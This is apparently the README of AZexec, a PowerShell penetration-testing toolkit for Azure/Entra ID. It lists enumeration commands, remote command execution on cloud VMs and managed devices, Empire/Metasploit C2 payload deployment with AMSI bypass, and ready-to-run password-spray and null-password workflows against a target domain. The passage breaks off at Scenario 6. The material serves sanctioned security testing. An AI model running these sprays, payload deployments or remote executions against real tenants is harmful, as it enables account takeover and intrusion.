- **Anti-Virus & EDR Enumeration**: Enumerate security products on Azure/Entra devices (mimics `nxc smb -M enum_av`)
  - Azure equivalent of NetExec's enum_av module
  - Enumerate antivirus/antimalware products (Microsoft Defender, third-party AV) with **signature version**
  - Detect Microsoft Defender for Endpoint (MDE) onboarding status via **Windows Protection State API**
  - Query device compliance policies and security posture via Intune
  - Identify firewall status (enabled/disabled)
  - Display encryption status (**BitLocker** via `isEncrypted` property)
  - Security risk scoring (High/Medium/Low risk devices)
  - **Device-specific recommendations** - lists exact device names for each security issue
  - **Windows-specific filtering** - MDE/BitLocker recommendations only for Windows devices
  - Color-coded output: Green (secure), Yellow (warnings), Red (critical gaps)
  - Export detailed security reports to CSV, JSON, or HTML
- **Remote Command Execution**: Execute remote commands on Azure VMs, Arc-enabled servers, and managed devices (mimics `nxc smb -x/-X`)
  - Azure equivalent of NetExec's `-x` (shell) and `-X` (PowerShell) options
  - **Six execution methods**:
    - **vmrun**: Azure VM Run Command (synchronous - Azure VMs)
    - **arc**: Azure Arc Run Command (synchronous - Arc-enabled servers)
    - **mde**: MDE Live Response (async with polling - MDE-enrolled devices)
    - **intune**: Intune Proactive Remediation (async - Intune-managed devices)
    - **automation**: Azure Automation Hybrid Worker (job-based - Automation-configured servers)
    - **auto**: Automatic method detection with failover (Arc → MDE → Intune)
  - **VM Targeting**: `-VMName` for single VM, `-AllVMs` for all VMs
  - **Device Targeting**: `-DeviceName` for single device, `-AllDevices` for all Arc-enabled devices
  - Auto-detection of target type with intelligent failover between methods
  - Support for both Windows and Linux targets
  - "(Exec3d!)" indicator on successful execution (Azure equivalent of "(Pwn3d!)")
  - Command timeout configuration
  - Multi-subscription support with automatic enumeration
  - Export execution results to CSV, JSON, or HTML
- **Shell Generation (Empire & Metasploit)**: Deploy C2 payloads via Azure execution methods (mimics `nxc -M empire_exec` and `nxc -M met_inject`)
  - **Empire Execution** (`empire-exec`): Connect to Empire REST API, generate stagers, deploy to Azure targets
    - Supports listener selection, obfuscation options, and SSL
    - Config file support for Empire credentials
    - "(Empire!)" indicator on successful deployment
  - **Metasploit Injection** (`met-inject`): Generate PowerShell cradles, deploy via Azure execution
    - Supports web_delivery module integration
    - SSL and proxy configuration for payload delivery
    - "(Meterpreter!)" indicator on successful deployment
  - Both commands support all Azure targeting options (VM, Arc, ResourceGroup, AllVMs, AllDevices)
  - AMSI bypass integration for evasion
  - Multi-subscription support
  - Export deployment results to CSV, JSON, or HTML
- **Netexec-Style Output**: Familiar output format for penetration testers and security professionals
- **Advanced Filtering**: Filter devices by OS, trust type, compliance status, and more
- **Owner Information**: Optional device owner enumeration with additional API calls
- **Export Capabilities**: Export results to CSV, JSON, or **HTML** formats
- **Comprehensive HTML Reports**: Generate professional, netexec-styled HTML reports with dark theme
  - Interactive tables with color-coded risk indicators
  - Detailed statistics and summaries
  - Risk highlighting (High/Medium/Low)
  - Responsive design for any screen size
  - Perfect for documentation and reporting
- **Colored Output**: Color-coded output for better readability (can be disabled)
- **Automatic Authentication**: Handles Microsoft Graph API authentication seamlessly (for authenticated commands)
- **Auto-Disconnect**: Optional `-Disconnect` parameter to automatically disconnect from Microsoft Graph after execution
- **Built-in Help**: Use `.\azx.ps1 help` to display all available commands with authentication requirements
- **PowerShell 7 Compatible**: Modern PowerShell implementation

## 🎨 Visual Indicators & High-Risk Highlighting

AZexec uses an intelligent color-coding system to instantly identify security-critical items across all commands. High-risk and privileged items are highlighted in **RED** to ensure immediate visibility during enumeration.

### Universal Color Scheme

All commands follow this consistent color hierarchy:

| Color | Meaning | Examples |
|-------|---------|----------|
| 🔴 **Red** | **High-risk/Critical items** | Privileged roles, high-risk permissions, dangerous configurations, critical vulnerabilities |
| 🟡 **Yellow** | **Medium-risk/Warning items** | Password-only credentials, ROPC-enabled apps, disabled security features, medium vulnerabilities |
| 🟢 **Green** | **Normal/Valid items** | Standard security groups, certificate-based auth, compliant configurations, valid usernames |
| 🔵 **Cyan** | **Informational** | Standard users, basic information, general data |
| ⚪ **DarkGray** | **Disabled/Low-risk** | Disabled accounts, invalid usernames, inactive items |
| 🟣 **Magenta** | **Group assignments** | Group-based role assignments |

### Command-Specific High-Risk Highlighting

#### `sp-discovery` - Service Principal Discovery
**Red highlights:**
- Service principals with **high-risk permissions**:
  - `RoleManagement.ReadWrite.Directory` - Can modify directory roles
  - `AppRoleAssignment.ReadWrite.All` - Can assign app roles
  - `Application.ReadWrite.All` - Can modify all applications
  - `Directory.ReadWrite.All` - Full directory write access
- Individual permissions (both App Roles and OAuth2 delegated) that match high-risk permissions
- Makes it immediately obvious which SPNs pose privilege escalation risks

**Example output:**
```powershell
AZR         d1f5c8a3b7e...  443    Example-Admin-App            [*] (appId:...) (appRoles:5) (delegated:2)  # RED
    [+] Application Permissions (App Roles):
        [-] Microsoft Graph : RoleManagement.ReadWrite.Directory (ID: ...)  # RED
        [-] Microsoft Graph : User.Read.All (ID: ...)  # Normal color
```

#### `roles` - Role Assignments
**Red highlights:**
- **Privileged role assignments**:
  - Global Administrator
  - Privileged Role Administrator
  - Security Administrator
  - Application Administrator
  - Privileged Authentication Administrator
  - User Administrator
  - Exchange Administrator
  - SharePoint Administrator
  - And other high-privilege roles
- Both active and PIM-eligible assignments

**Example output:**
```powershell
AZR         admin@example.com                  443    Global Administrator          [*] (privileged:True)  # RED
AZR         user@example.com                   443    Directory Readers             [*] (privileged:False)  # GREEN
```

#### `groups` - Group Enumeration
**Red highlights:**
- **Privileged/administrative security groups** based on name patterns:
  - Groups containing: admin, administrator, admins, global, privileged, security
  - Domain/Enterprise admins patterns
  - Root, sudo, wheel (Unix-style admin groups)
  - Helpdesk, tier, PIM (privileged access groups)

**Example output:**
```powershell
AZR         abc123...       443    Global Administrators        [*] (security:True) (members:5)  # RED
AZR         def456...       443    Marketing Team               [*] (security:True) (members:12) # GREEN
```

#### `apps` - Application Enumeration
**Red highlights:**
- Applications and service principals requesting **high-risk Microsoft Graph permissions**:
  - `Directory.ReadWrite.All` (ID: 19dbc75e-c2e2-444c-a770-ec69d8559fc7)
  - `Application.ReadWrite.All` (ID: 1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9)
  - `AppRoleAssignment.ReadWrite.All` (ID: 06b708a9-e830-4db3-a914-8e69da51d44f)
  - `RoleManagement.ReadWrite.Directory` (ID: 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8)
- Summary statistics show count of apps with dangerous permissions

**Yellow highlights:**
- Password-only credentials (weaker security)
- ROPC-enabled public clients (vulnerable to password spray)

#### `vuln-list` - Vulnerability Enumeration
**Red highlights:**
- **HIGH risk** findings:
  - ROPC enabled (password spray possible)
  - Service principals with password-only credentials
  - Legacy authentication not blocked
  - Applications with dangerous permissions
  - Guest access same as members
  - Users without MFA registered

**Yellow highlights:**
- **MEDIUM risk** findings:
  - Implicit OAuth flow enabled
  - Stale guest accounts
  - Public client applications
  - Missing security defaults

#### `guest-vuln-scan` - Guest Vulnerability Scanner
**Red highlights:**
- **CRITICAL risk** vulnerabilities (Risk Score ≥ 70):
  - Guests have same permissions as members
  - Full directory enumeration possible by external users
- **HIGH risk** vulnerabilities (Risk Score ≥ 40):
  - Guests can enumerate users, groups, devices, applications, or directory roles
  - Azure "null session" equivalent exploitable

**Yellow highlights:**
- **MEDIUM risk** vulnerabilities
- Risk scores between 20-39

#### `user-profiles` - User Profile Enumeration
**Yellow highlights:**
- Guest users (external accounts)

**Green highlights:**
- Active member users

**DarkGray highlights:**
- Disabled user accounts

#### `hosts` - Device Enumeration
**Yellow highlights:**
- Non-compliant devices
- Devices failing compliance checks

**Cyan highlights:**
- Compliant, enabled devices

**DarkGray highlights:**
- Disabled devices

### Benefits of Red Highlighting

1. **Immediate Threat Identification**: Security-critical items stand out instantly in large result sets
2. **Efficient Triage**: Focus your attention on the most dangerous configurations first
3. **Better Reporting**: Screenshots with red highlights clearly demonstrate risks to stakeholders
4. **Consistent Experience**: Same color scheme across all commands reduces cognitive load
5. **Penetration Testing Efficiency**: Quickly identify privilege escalation paths and attack surfaces

### Disabling Colors

If you prefer plain text output (for scripting or logging), colors respect PowerShell's output stream configuration and can be redirected normally. Exported files (CSV/JSON) contain data without color codes.

## 📚 Related Documentation

- **[Complete Password Spray Attack Guide](PASSWORD-SPRAY.md)** - Comprehensive documentation for GetCredentialType enumeration + ROPC password spraying
- **[Notes & Roadmap](notes.md)** - Planned features and implementation status

## 📋 Prerequisites & Permissions Matrix

- **PowerShell 7+** (PowerShell Core)
- **Internet Connection**: Required for API access

**Note**: All authenticated commands automatically check for Microsoft Graph connection and connect if needed. You don't need to manually run `Connect-MgGraph` before running commands.

### For Device Enumeration (hosts command):
- **Microsoft.Graph PowerShell Module** (automatically installed if missing)
- **Automatically connects if disconnected** (requires appropriate permissions)
- **Azure/Entra ID Permissions**: 
  - Minimum: `Device.Read.All` scope
  - For owner enumeration: Additional directory read permissions may be required

### For Group Enumeration (groups command):
- **Microsoft.Graph PowerShell Module** (automatically installed if missing)
- **Automatically connects if disconnected** (requires appropriate permissions)
- **Azure/Entra ID Permissions**:
  - Minimum: `Group.Read.All` or `Directory.Read.All` scope
  - Guest users may have restricted access depending on tenant settings

### For Password Policy Enumeration (pass-pol command):
- **Microsoft.Graph PowerShell Module** (automatically installed if missing)
- **Automatically connects if disconnected** (requires appropriate permissions)
- **Azure/Entra ID Permissions**:
  - Minimum: `Organization.Read.All` and `Directory.Read.All` scopes
  - For full policy details: `Policy.Read.All` scope recommended
  - Guest users typically cannot view Conditional Access policies

### For Tenant Discovery (tenant command):
- **No authentication required** - Uses public OpenID configuration endpoints

### For Username Enumeration (users command):
- **No authentication required** - Uses public GetCredentialType API endpoint

### For User Profile Enumeration (user-profiles command):
- **Microsoft.Graph PowerShell Module** (automatically installed if missing)
- **Automatically connects if disconnected** (requires appropriate permissions)
- **Azure/Entra ID Permissions**:
  - Minimum: `User.Read.All` or `Directory.Read.All` scope
  - For sign-in activity: `AuditLog.Read.All` scope (optional but recommended)
  - Guest users may have restricted access depending on tenant settings

### For Guest Login Enumeration (guest command):
- **No authentication required** - Uses public ROPC OAuth2 endpoint
- Tests credentials against Azure/Entra ID authentication endpoints
- Detects MFA requirements, account lockouts, and password expiration

### For Active Session Enumeration (sessions command):
- **Authentication required** - Uses Microsoft Graph API
- **Microsoft.Graph PowerShell Module** (automatically installed if missing)
- **Automatically connects if disconnected** (requires appropriate permissions)
- **Azure/Entra ID Permissions**:
  - `AuditLog.Read.All` - Query sign-in logs (required)
  - `Directory.Read.All` - Access directory information
- **Note**: Guest users typically cannot access audit logs (expected behavior)
- Queries sign-in logs from the last 24 hours by default

### For Azure VM Logged-On Users Enumeration (vm-loggedon command):
- **Authentication required** - Uses Azure Management API
- **Az PowerShell Module** (automatically installed if missing)
  - `Az.Accounts` - Azure authentication
  - `Az.Compute` - VM management and Run Command
  - `Az.Resources` - Resource group enumeration
- **Automatically connects if disconnected** (requires Azure authentication)
- **Azure Permissions**:
  - `Virtual Machine Contributor` role (full VM access) OR
  - `Reader` role + `Virtual Machine Command Executor` role (minimal permissions)
  - Requires permissions on subscription or resource group level
- **VM Requirements**:
  - VMs must be in 'running' state to query logged-on users
  - VM Guest Agent must be installed and running
  - Works with both Windows and Linux VMs
- **Note**: This is the Azure equivalent of Remote Registry Service enumeration for on-premises environments

### For Vulnerable Target Enumeration (vuln-list command):
- **Hybrid approach**: Performs unauthenticated checks first, then authenticated enumeration
- **Microsoft.Graph PowerShell Module** (automatically installed if missing)
- **Azure/Entra ID Permissions** (for authenticated phase):
  - `Application.Read.All` - Enumerate service principals and apps
  - `Directory.Read.All` - Enumerate guest users and OAuth grants
  - `Policy.Read.All` - Check Conditional Access, Security Defaults, and guest permission policy
  - `AuditLog.Read.All` - Check user MFA registration status
- **Unauthenticated checks** work without any credentials (tenant config, ROPC status, legacy auth endpoints)

### For Application Enumeration (apps command):
- **Authentication required** - Uses Microsoft Graph API
- **Microsoft.Graph PowerShell Module** (automatically installed if missing)
- **Azure/Entra ID Permissions**:
  - `Application.Read.All` - Read all application registrations and enterprise applications (required)
  - `Directory.Read.All` - Read directory data (alternative permission)
- **Note**: Guest users may have restricted access depending on tenant settings
- Automatically connects if disconnected (requires appropriate permissions)
- Enumerates both application registrations and service principals (SPNs)
- Identifies security risks: password-only credentials, ROPC-enabled apps

### For Service Principal Discovery (sp-discovery command):
- **Authentication required** - Uses Microsoft Graph API
- **Microsoft.Graph PowerShell Module** (automatically installed if missing)
- **Azure/Entra ID Permissions**:
  - `Application.Read.All` - Read all service principals and applications (required)
  - `Directory.Read.All` - Read directory data (required)
  - `AppRoleAssignment.ReadWrite.All` - Optional write permission (use `-IncludeWritePermissions` flag)
    - **Note**: Script only performs read operations; this permission is typically unnecessary
    - By default, the script requests only read permissions following the principle of least privilege
- **Note**: Guest users may have restricted access depending on tenant settings
- Automatically connects if disconnected (requires appropriate permissions)
- Discovers service principals with their full permission assignments
- Maps app roles (application permissions) and OAuth2 grants (delegated permissions)
- Identifies owners and security risks

### For Role Assignments Enumeration (roles command):
- **Authentication required** - Uses Microsoft Graph API
- **Microsoft.Graph PowerShell Module** (automatically installed if missing)
- **Automatically connects if disconnected** (requires appropriate permissions)
- **Azure/Entra ID Permissions**:
  - `RoleManagement.Read.Directory` - Read directory role assignments (required)
  - `Directory.Read.All` - Read directory data (required)
  - `RoleEligibilitySchedule.Read.Directory` - Read PIM eligible assignments (optional, requires Azure AD Premium P2)
- **Note**: Guest users typically cannot view role assignments depending on tenant settings
- Enumerates active directory roles and their members
- Lists privileged accounts and group-based role assignments
- Displays PIM (Privileged Identity Management) eligible assignments if available

### For Conditional Access Policy Review (ca-policies command):
- **Authentication required** - Uses Microsoft Graph API
- **Microsoft.Graph PowerShell Module** (automatically installed if missing)
- **Automatically connects if disconnected** (requires appropriate permissions)
- **Azure/Entra ID Permissions**:
  - `Policy.Read.All` - Read conditional access policies (required)
  - `Directory.Read.All` - Read directory data (required)
- **Note**: **Guest users CANNOT access conditional access policies** - This command requires a member account
- Reviews all conditional access policies with detailed conditions analysis
- Displays policy state (enabled, disabled, report-only)
- Shows grant controls (MFA, compliant device, approved app, etc.)
- Displays session controls and risk-based conditions
- Provides security recommendations and highlights high-risk policies

## 🚀 Quick Start Setup

1. **Clone the repository**:
```bash
git clone https://github.com/Logisek/AZexec.git
cd AZexec
```

2. **Ensure PowerShell 7+ is installed**:
```powershell
$PSVersionTable.PSVersion
```

3. **Run the script** (Microsoft.Graph module will be installed automatically on first run if needed):
```powershell
.\azx.ps1 hosts
```

## 🗂️ Codebase Architecture & Command Mapping

AZexec follows a modular architecture where functionality is organized into separate files:

```
AZexec/
├── azx.ps1                          # Main script - command routing and initialization
├── Functions/
│   ├── Core.ps1                     # Core utilities and Graph module management
│   ├── UI.ps1                       # Banner and help display functions
│   ├── Devices.ps1                  # hosts command - device enumeration
│   ├── Users.ps1                    # users & user-profiles commands
│   ├── Groups.ps1                   # groups command - group enumeration
│   ├── Applications.ps1             # apps command - application enumeration
│   ├── ServicePrincipals.ps1        # sp-discovery command - service principal discovery
│   ├── Roles.ps1                    # roles command - role assignment enumeration
│   ├── Policies.ps1                 # pass-pol & ca-policies commands
│   ├── Guest.ps1                    # guest command - guest authentication testing
│   ├── Sessions.ps1                 # sessions & vm-loggedon commands
│   ├── Tenant.ps1                   # tenant command - tenant discovery
│   ├── Vulnerabilities.ps1          # vuln-list & guest-vuln-scan commands
│   └── AzureRM.ps1                  # Azure Resource Manager commands (storage-enum, keyvault-enum, network-enum)
├── test-commands.ps1                # Automated test suite for all commands
├── README.md                        # This file
└── LICENSE                          # GPL v3 license
```

### Command to Function Mapping

Each command in `azx.ps1` is implemented in a dedicated function file:

| Command | Function File | Function Name |
|---------|---------------|---------------|
| `hosts` | `Devices.ps1` | `Invoke-HostEnumeration` |
| `tenant` | `Tenant.ps1` | `Invoke-TenantDiscovery` |
| `users` | `Users.ps1` | `Invoke-UserEnumeration` |
| `user-profiles` | `Users.ps1` | `Invoke-UserProfileEnumeration` |
| `groups` | `Groups.ps1` | `Invoke-GroupEnumeration` |
| `pass-pol` | `Policies.ps1` | `Invoke-PasswordPolicyEnumeration` |
| `guest` | `Guest.ps1` | `Invoke-GuestEnumeration` |
| `vuln-list` | `Vulnerabilities.ps1` | `Invoke-VulnListEnumeration` |
| `sessions` | `Sessions.ps1` | `Invoke-SessionEnumeration` |
| `guest-vuln-scan` | `Vulnerabilities.ps1` | `Invoke-GuestVulnScanEnumeration` |
| `apps` | `Applications.ps1` | `Invoke-ApplicationEnumeration` |
| `sp-discovery` | `ServicePrincipals.ps1` | `Invoke-ServicePrincipalDiscovery` |
| `roles` | `Roles.ps1` | `Invoke-RoleAssignmentEnumeration` |
| `ca-policies` | `Policies.ps1` | `Invoke-ConditionalAccessPolicyReview` |
| `vm-loggedon` | `Sessions.ps1` | `Invoke-VMLoggedOnUsersEnumeration` |
| `process-enum` | `AzureRM.ps1` | `Invoke-VMProcessEnumeration` |
| `storage-enum` | `AzureRM.ps1` | `Invoke-StorageEnumeration` |
| `keyvault-enum` | `AzureRM.ps1` | `Invoke-KeyVaultEnumeration` |
| `network-enum` | `AzureRM.ps1` | `Invoke-NetworkEnumeration` |
| `shares-enum` | `AzureRM.ps1` | `Invoke-SharesEnumeration` |
| `disks-enum` | `AzureRM.ps1` | `Invoke-DisksEnumeration` |
| `help` | `UI.ps1` | `Show-Help` |

This modular design makes the codebase easier to maintain, test, and extend with new commands.

### Azure Resource Manager (ARM) Commands

The following commands use Azure Resource Manager API (Az PowerShell modules) instead of Microsoft Graph. They all support **multi-subscription enumeration** by default:

| Command | Description | Required Modules | RBAC Role |
|---------|-------------|------------------|-----------|
| `vm-loggedon` | Enumerate logged-on users on Azure VMs | Az.Accounts, Az.Compute, Az.Resources | VM Contributor or Reader + VM Command Executor |
| `storage-enum` | Enumerate Storage Accounts with security analysis | Az.Accounts, Az.Resources, Az.Storage | Reader (Storage Account Contributor for full details) |
| `keyvault-enum` | Enumerate Key Vaults with security analysis | Az.Accounts, Az.Resources, Az.KeyVault | Reader (Key Vault Reader for full details) |
| `network-enum` | Enumerate VNets, NSGs, Public IPs, Load Balancers, Network Interfaces | Az.Accounts, Az.Resources, Az.Network | Reader |
| `shares-enum` | Enumerate Azure File Shares (mimics nxc --shares) | Az.Accounts, Az.Resources, Az.Storage | Reader + Storage Account Key Operator or Storage File Data SMB Share Reader |
| `disks-enum` | Enumerate Azure Managed Disks (mimics nxc --disks) | Az.Accounts, Az.Resources, Az.Compute | Reader (Disk Reader or Contributor for full details) |
| `bitlocker-enum` | Enumerate BitLocker encryption status on Intune devices + Azure VMs (mimics nxc -M bitlocker) | Microsoft.Graph (Intune) + Az.Accounts, Az.Compute, Az.Resources (VMs) | DeviceManagementManagedDevices.Read.All (Intune) + VM Contributor (Azure VMs) |
| `process-enum` | Enumerate remote processes on Azure VMs (mimics nxc smb --tasklist) | Az.Accounts, Az.Compute, Az.Resources | VM Contributor or Reader + VM Command Executor |
| `lockscreen-enum` | Detect lockscreen backdoors on Azure VMs (mimics nxc smb -M lockscreendoors) | Az.Accounts, Az.Compute, Az.Resources | VM Contributor or Reader + VM Command Executor |
| `intune-enum` | Enumerate Intune/Endpoint Manager configuration (mimics nxc smb -M sccm-recon6) | Microsoft.Graph | DeviceManagementConfiguration.Read.All, DeviceManagementRBAC.Read.All, DeviceManagementManagedDevices.Read.All |
| `delegation-enum` | Enumerate OAuth2 delegation/impersonation paths (mimics nxc smb --delegate) | Microsoft.Graph | Application.Read.All, Directory.Read.All |

**Multi-Subscription Support**: All ARM commands automatically enumerate all accessible subscriptions. Use `-SubscriptionId` to target a specific subscription, or `-ResourceGroup` to filter within subscriptions.

## 🧪 Automated Test Suite

AZexec includes an automated test suite to verify all commands execute without parameter errors.

### Running the Test Suite

```powershell
# Run automated tests for all commands
.\test-commands.ps1
```

The test script will:
- Execute each command with no parameters
- Verify the command is recognized and executes properly
- Report execution time for each command
- Identify commands that require authentication (expected to timeout waiting for auth)
- Display a summary with pass/fail status

### Test Output Example

```
========================================
  AZexec Command Test Suite
  Testing 16 commands
========================================

[*] Testing command: hosts ... PASS (Auth Required)
[*] Testing command: tenant ... PASS
[*] Testing command: users ... PASS
[*] Testing command: user-profiles ... PASS (Auth Required)
[*] Testing command: groups ... PASS (Auth Required)
[*] Testing command: pass-pol ... PASS (Auth Required)
[*] Testing command: guest ... PASS
[*] Testing command: vuln-list ... PASS
[*] Testing command: sessions ... PASS (Auth Required)
[*] Testing command: guest-vuln-scan ... PASS
[*] Testing command: apps ... PASS (Auth Required)
[*] Testing command: sp-discovery ... PASS (Auth Required)
[*] Testing command: roles ... PASS (Auth Required)
[*] Testing command: ca-policies ... PASS (Auth Required)
[*] Testing command: vm-loggedon ... PASS (Auth Required)
[*] Testing command: process-enum ... PASS (Auth Required)
[*] Testing command: storage-enum ... PASS (Auth Required)
[*] Testing command: keyvault-enum ... PASS (Auth Required)
[*] Testing command: network-enum ... PASS (Auth Required)
[*] Testing command: help ... PASS

========================================
  TEST SUMMARY
========================================

Command         Status      Duration
-------         ------      --------
hosts           PASS        3.54s
tenant          PASS        2.06s
users           PASS        0.44s
user-profiles   PASS        3.41s
groups          PASS        4.59s
pass-pol        PASS        6.76s
guest           PASS        2.21s
vuln-list       PASS        15.81s
sessions        PASS        5.00s
guest-vuln-scan PASS        9.00s
apps            PASS        6.65s
sp-discovery    PASS (Auth) 30.21s
roles           PASS        20.24s
ca-policies     PASS        5.20s
vm-loggedon     PASS (Auth) 54.46s
process-enum    PASS (Auth) 48.32s
storage-enum    PASS (Auth) 32.15s
keyvault-enum   PASS (Auth) 28.92s
network-enum    PASS (Auth) 35.67s
help            PASS        0.49s

Total: 19 | Passed: 19 | Failed: 0

All commands executed successfully!
```

### What the Tests Verify

- ✅ All commands are properly registered in the ValidateSet
- ✅ Command routing works correctly in the main script
- ✅ Function files are loaded successfully
- ✅ Commands execute without parameter errors
- ✅ Authentication prompts appear for commands requiring auth
- ✅ Help system displays available commands

**Note**: The test suite verifies command structure and execution, not functional correctness. It ensures the tool doesn't have breaking changes after structural modifications.

## 📖 Command Syntax & Attack Workflows

### Quick Reference: Attack Scenarios

**Getting Started**
```powershell
.\azx.ps1 help                              # Display all available commands
```

**Scenario 1: External Reconnaissance (No Credentials)**
```powershell
.\azx.ps1 tenant -Domain target.com          # Discover tenant config
.\azx.ps1 users -Domain target.com -CommonUsernames  # Enumerate valid usernames
.\azx.ps1 guest -Domain target.com           # Check if tenant accepts guests
```

**Scenario 1b: Password Spray Attack (Complete Workflow)**
```powershell
# Phase 1: Enumerate valid usernames with GetCredentialType API (no auth, no logs)
.\azx.ps1 users -Domain target.com -CommonUsernames -ExportPath valid-users.csv

# Phase 2: Extract valid usernames for spraying
$validUsers = Import-Csv valid-users.csv | Where-Object { $_.Exists -eq 'True' } | Select-Object -ExpandProperty Username
$validUsers | Out-File -FilePath spray-targets.txt

# Phase 3: Password spray with ROPC authentication
.\azx.ps1 guest -Domain target.com -UserFile spray-targets.txt -Password 'Summer2024!' -ExportPath spray-results.json

# Review results - look for valid credentials, MFA-enabled accounts, and locked accounts
Get-Content spray-results.json | ConvertFrom-Json | Select -ExpandProperty AuthResults | Where-Object { $_.Success -eq $true }
```

**Scenario 1c: Quick Null Password Testing (Like nxc smb -u 'a' -p '')**
```powershell
.\azx.ps1 guest                                                    # Check current tenant (auto-detect)
.\azx.ps1 guest -Domain target.com -Username user -Password ''     # Test null password
.\azx.ps1 guest -UserFile users.txt -Password 'Summer2024!'        # Password spray (auto-detect domain)
```

**Scenario 2: Guest User Enumeration (Low-Privilege Access)**
```powershell
# The "Azure Null Session" - most powerful low-noise technique
.\azx.ps1 hosts                              # Login with guest credentials
.\azx.ps1 user-profiles -ExportPath users.csv  # Enumerate user profiles
.\azx.ps1 groups                             # Enumerate groups
.\azx.ps1 hosts -ShowOwners -ExportPath enum.json  # Full enumeration
```

**Scenario 2b: Guest User Vulnerability Assessment**
```powershell
# Automated guest permission security scanner
.\azx.ps1 guest-vuln-scan                    # Scan current tenant (auto-detect)
.\azx.ps1 guest-vuln-scan -Domain target.com # Scan specific tenant
.\azx.ps1 guest-vuln-scan -ExportPath guest-vuln-report.json  # Full report with risk scoring

# This command performs:
# - Unauthenticated checks (external collaboration enabled?)
# - Authenticated checks (guest permission boundaries)
# - Risk scoring and vulnerability assessment
# - Actionable remediation recommendations
```

**Scenario 3: Member Account Enumeration (Full Access)**
```powershell
.\azx.ps1 hosts -Scopes "User.Read.All,Device.Read.All,Group.Read.All"
.\azx.ps1 hosts -Filter noncompliant         # Find weak security posture
.\azx.ps1 pass-pol                           # Check password policies
```

**Scenario 4: Vulnerability Assessment (Like nxc smb --gen-relay-list)**
```powershell
# The Azure equivalent of finding SMB hosts without signing
.\azx.ps1 vuln-list                          # Full vuln assessment (domain auto-detected)
.\azx.ps1 vuln-list -Domain target.com       # Target specific tenant
.\azx.ps1 vuln-list -ExportPath relay.txt    # Export HIGH risk targets (relay-list style)
.\azx.ps1 vuln-list -ExportPath full.json    # Export all findings as JSON
```

**Scenario 5: Active Session Monitoring (Like nxc smb --qwinsta)**
```powershell
# Enumerate active sign-in sessions - the cloud equivalent of qwinsta
.\azx.ps1 sessions                           # Last 24 hours (default)
.\azx.ps1 sessions -Hours 168                # Last 7 days
.\azx.ps1 sessions -Username alice@corp.com  # Track specific user
.\azx.ps1 sessions -Hours 1                  # Real-time monitoring (last hour)
.\azx.ps1 sessions -Hours 720 -ExportPath audit.csv  # 30-day audit (requires Premium)
```

**Scenario 5b: Azure VM Logged-On Users Enumeration (Like nxc smb --logged-on-users)**
```powershell
# Enumerate logged-on users on Azure VMs - the Azure equivalent of Workstation Service (wkssvc)
.\azx.ps1 vm-loggedon                        # All VMs in current subscription
.\azx.ps1 vm-loggedon -ResourceGroup Prod-RG # Specific resource group
.\azx.ps1 vm-loggedon -VMFilter running      # Only running VMs
.\azx.ps1 vm-loggedon -SubscriptionId "12345678-1234-1234-1234-123456789012"  # Specific subscription
.\azx.ps1 vm-loggedon -ResourceGroup Prod-RG -ExportPath loggedon.csv  # Export to CSV
.\azx.ps1 vm-loggedon -ExportPath users.json # Full details as JSON

# This command is the Azure equivalent of:
# nxc smb 192.168.1.0/24 -u UserName -p 'PASSWORDHERE' --loggedon-users
#
# What it does:
# - Enumerates Azure VMs (like nxc smb 10.10.10.0/24)
# - Queries logged-on users via VM Run Command (like Workstation Service wkssvc)
# - Shows username, session state, idle time, and connection source
# - Works with both Windows and Linux VMs
# - Multi-subscription support with automatic enumeration
```

**Scenario 5c: Azure Storage Account Security Audit (Multi-Subscription)**
```powershell
# Enumerate storage accounts across ALL accessible subscriptions
.\azx.ps1 storage-enum                        # Auto-enumerate all subscriptions
.\azx.ps1 storage-enum -ResourceGroup Prod-RG # Filter by resource group
.\azx.ps1 storage-enum -SubscriptionId "12345678-..."  # Target specific subscription
.\azx.ps1 storage-enum -ExportPath storage-audit.html  # Export HTML security report

# Security checks performed:
# - Blob public access enabled (HIGH risk)
# - HTTPS-only disabled (MEDIUM risk)
# - Network allows all (MEDIUM risk)
# - TLS version < 1.2 (LOW risk)
# - Shared key access enabled (LOW risk)
```

**Scenario 5d: Azure Key Vault Security Audit (Multi-Subscription)**
```powershell
# Enumerate Key Vaults across ALL accessible subscriptions
.\azx.ps1 keyvault-enum                       # Auto-enumerate all subscriptions
.\azx.ps1 keyvault-enum -ResourceGroup Security-RG    # Filter by resource group
.\azx.ps1 keyvault-enum -SubscriptionId "12345678-..."  # Target specific subscription
.\azx.ps1 keyvault-enum -ExportPath keyvault-audit.json  # Export JSON for analysis

# Security checks performed:
# - Soft delete disabled (MEDIUM risk)
# - Purge protection disabled (LOW risk)
# - RBAC authorization disabled (LOW risk)
# - Public network access enabled (MEDIUM risk)
# - Many access policies (>10)
```

**Scenario 5e: Azure Network Security Audit (Multi-Subscription)**
```powershell
# Enumerate network resources across ALL accessible subscriptions
.\azx.ps1 network-enum                        # Auto-enumerate all subscriptions
.\azx.ps1 network-enum -ResourceGroup Prod-RG # Filter by resource group
.\azx.ps1 network-enum -SubscriptionId "12345678-..."  # Target specific subscription
.\azx.ps1 network-enum -ExportPath network-audit.csv  # Export CSV for spreadsheet

# Resources enumerated:
# - Virtual Networks (VNets) - address spaces, subnets, peerings
# - Network Security Groups (NSGs) - security rules, risky inbound rules
# - Public IP Addresses - allocation, association status
# - Load Balancers - frontend IPs, backend pools, rules

# Security checks performed:
# - Risky NSG inbound rules (HIGH risk) - open ports from Internet
# - Unassociated Public IPs (MEDIUM risk) - misconfiguration indicator
```

**Scenario 5f: Azure File Shares Enumeration (Like nxc smb --shares)**
```powershell
# Enumerate Azure File Shares - the Azure equivalent of SMB share enumeration
.\azx.ps1 shares-enum                        # All shares across all subscriptions
.\azx.ps1 shares-enum -SharesFilter WRITE    # Only shares with WRITE access
.\azx.ps1 shares-enum -SharesFilter READ,WRITE  # Shares with both READ and WRITE
.\azx.ps1 shares-enum -SharesFilter READ     # Only shares with READ access
.\azx.ps1 shares-enum -ResourceGroup Prod-RG # Filter by resource group
.\azx.ps1 shares-enum -ExportPath shares.csv # Export to CSV

# This command is the Azure equivalent of:
# nxc smb 192.168.1.0/24 -u user -p 'PASSWORDHERE' --shares
# nxc smb 192.168.1.0/24 -u user -p 'PASSWORDHERE' --shares READ,WRITE

# What it does:
# - Enumerates Azure File Shares across Storage Accounts
# - Shows access permissions (READ, WRITE) like SMB share access
# - Displays quota, access tier, and protocol (SMB/NFS)
# - Identifies writable shares (potential data upload risk)
# - Flags shares in publicly accessible storage accounts
```

**Scenario 6: Service Principal Permission Discovery**
```powershell
